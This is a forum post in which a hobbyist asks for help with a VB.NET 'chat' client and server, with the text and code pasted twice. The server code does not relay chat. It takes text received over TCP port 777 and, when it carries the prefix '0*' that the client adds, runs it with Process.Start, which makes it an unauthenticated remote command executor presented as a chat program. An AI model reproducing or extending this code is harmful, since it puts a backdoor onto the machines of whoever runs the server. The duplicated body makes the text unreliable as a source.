dariou
May 29th, 2009, 03:19 AM
hello all :wave: i am dariou i am a vb.net programmer well not really i like programming as a hobby but my real job is in media anyway i am making a client/server chat program and i need some help first of all my idea is this :
you use the client to connect to the server and start chatting now the server should take the sent text and send it to all connected clients and i have no idea how to do so this is the code i used : (please if you see any error let me know i would be really thankful)
also i want the client to show all connected user in a label as user1 and user 2 as user2 and so on any help please ? and do you think that my code can handle more than one connection to the server ? or do i need to do something.... as i said im not a pro its just a hobby of mine any help would be great thanks in advance :wave::afrog:
client code:
Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Public Class Form1
' variables
Dim sock As New TcpClient()
Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
Dim port As Integer = 777
' function to call when connecting
Private Sub connect()
ip = IPAddress.Parse(TextBox1.Text)
port = TextBox2.Text
Try
sock.Connect(ip, port)
Catch ex As Exception
MsgBox("cannot connect to desired ip at this time, might be connection error or IP is offline")
End Try
End Sub
' function to send data to server
Private Sub dat(ByVal dat As String)
Dim nstream As NetworkStream = sock.GetStream()
Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
nstream.Write(bit, 0, bit.Length)
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
connect()
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
' disconnecting
sock.Close()
If sock.Connected = True Then
MessageBox.Show("Error : sorry cant disconnect for some reason try again, thnx")
End If
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
' sending data
dat("0*" + RichTextBox2.Text)
End Sub
End Class
server code :
Imports System.Web
Imports System.Net
Imports System.IO
Imports System.Net.Sockets
Imports Microsoft.Win32
Public Class Server
Dim port As Integer = 777
Dim tcpListen As New TcpListener(port)
Dim sock As New TcpClient()
Private Sub listen()
Try
tcpListen.Start()
sock = tcpListen.AcceptTcpClient()
Catch ex As Exception
End Try
End Sub
Private Sub check()
If sock.Connected = True Then
sock.SendTimeout = 5000
Try
Dim nstream As NetworkStream = sock.GetStream
Dim bit(sock.ReceiveBufferSize) As Byte
nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
Dim id() As String = Split(str, "*", -1, CompareMethod.Text)
If id(0) = 0 Then
Dim stri As String = id(1)
Process.Start(stri)
End If
Catch ex As Exception
check()
End Try
End If
End Sub
Private Sub Server_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
While sock.Connected = False
Try
listen()
Catch ex As Exception
End Try
End While
While True
check()
End While
End Sub
End Class
you use the client to connect to the server and start chatting now the server should take the sent text and send it to all connected clients and i have no idea how to do so this is the code i used : (please if you see any error let me know i would be really thankful)
also i want the client to show all connected user in a label as user1 and user 2 as user2 and so on any help please ? and do you think that my code can handle more than one connection to the server ? or do i need to do something.... as i said im not a pro its just a hobby of mine any help would be great thanks in advance :wave::afrog:
client code:
Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Public Class Form1
' variables
Dim sock As New TcpClient()
Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
Dim port As Integer = 777
' function to call when connecting
Private Sub connect()
ip = IPAddress.Parse(TextBox1.Text)
port = TextBox2.Text
Try
sock.Connect(ip, port)
Catch ex As Exception
MsgBox("cannot connect to desired ip at this time, might be connection error or IP is offline")
End Try
End Sub
' function to send data to server
Private Sub dat(ByVal dat As String)
Dim nstream As NetworkStream = sock.GetStream()
Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
nstream.Write(bit, 0, bit.Length)
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
connect()
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
' disconnecting
sock.Close()
If sock.Connected = True Then
MessageBox.Show("Error : sorry cant disconnect for some reason try again, thnx")
End If
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
' sending data
dat("0*" + RichTextBox2.Text)
End Sub
End Class
server code :
Imports System.Web
Imports System.Net
Imports System.IO
Imports System.Net.Sockets
Imports Microsoft.Win32
Public Class Server
Dim port As Integer = 777
Dim tcpListen As New TcpListener(port)
Dim sock As New TcpClient()
Private Sub listen()
Try
tcpListen.Start()
sock = tcpListen.AcceptTcpClient()
Catch ex As Exception
End Try
End Sub
Private Sub check()
If sock.Connected = True Then
sock.SendTimeout = 5000
Try
Dim nstream As NetworkStream = sock.GetStream
Dim bit(sock.ReceiveBufferSize) As Byte
nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
Dim id() As String = Split(str, "*", -1, CompareMethod.Text)
If id(0) = 0 Then
Dim stri As String = id(1)
Process.Start(stri)
End If
Catch ex As Exception
check()
End Try
End If
End Sub
Private Sub Server_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
While sock.Connected = False
Try
listen()
Catch ex As Exception
End Try
End While
While True
check()
End While
End Sub
End Class